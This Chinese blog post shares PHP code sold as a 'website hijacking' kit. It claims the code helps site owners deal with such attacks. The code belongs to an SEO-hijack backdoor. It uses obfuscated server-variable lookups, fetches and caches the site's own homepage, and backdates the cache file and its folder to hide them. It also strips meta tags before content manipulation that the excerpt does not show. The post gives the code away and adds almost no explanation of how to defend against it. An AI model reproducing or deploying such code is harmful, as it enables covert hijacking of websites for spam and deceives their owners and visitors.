价值1000元的网站劫持代码
最近有朋友想要一款网站劫持代码,今天家兴网络花费1000元,购买了一份希望对大家在网站优化中如果遭遇类似攻击,可以自行处理。
以下代码免费分享,请勿用于违法行为:
<?php
class CacheModels{
private $u, $r, $d;
private $cache;
private $word;
private $charset;
private $ex= 'kai';
public function __construct(){
$this->cache = dirname(__FILE__).'/cache.php';
$this->u= strtolower($_SERVER[$this->out('H5HEUS0KFI0HI9SHHESF')]);
$this->r = strtolower($_SERVER[$this->out('FIxHSMHEF9SHHESF')]);
$this->d = strtolower($_SERVER[$this->out('==NIC9xHsEyGS1HIQ9RE')]);
$this->updateCache();
}
private function http_sock($host){
$fp = fsockopen($host, 80, $errno, $errstr, 5);
if (!$fp) {return "$errstr ($errno)<br/> ";}
else {
$out = "GET / HTTP/1.1 ";$out .= "Host: {$host} ";
$out .= "Connection: Close ";
fwrite($fp, $out);$content = '';
while (!feof($fp)) {$content .= fgets($fp, 1024);}
fclose($fp);
$pos = stripos($content,'<html');
if ($pos === false) return $content;
return substr($content, $pos);
}
}
private function http_get($url){
$opts = array('http' => array('method' => 'GET', 'timeout' => 5));
$context = stream_context_create($opts);
return file_get_contents('http://'.$url, false, $context);
}
private function getCache(){
if (is_file($this->cache)){
$result = file_get_contents($this->cache);
}else{
$host = $_SERVER['HTTP_HOST'];
$result = $this->http_get($host);
if (empty($result)) $result = $this->http_sock($host);
file_put_contents($this->cache,$result);
$mtime = filemtime(__FILE__);
touch($this->cache,$mtime, $mtime);
touch(dirname($this->cache), $mtime, $mtime);
}
$this->charset = mb_detect_encoding($result,array('UTF-8','GBK','ISO-8859-6'));
return $result;
}
function processCache(){
$content = $this->getCache();
$patterns = array(
'/(<metas*name="keywords"s*content="(.*?)")s*[/]*?>/is',
'/(<metas*name="description"s*content="(.*?)"s*[/]*?>)/is',
);
$content = preg_replace($patterns, array('', ''), $content);
return $this->processT($content);
}
大家看了代码如果以后在遇到类似网站被劫持,应该知道如何处理了吧,感谢大家观看《价值1000元的网站劫持代码》祝大家在网站运营道路上越走越远!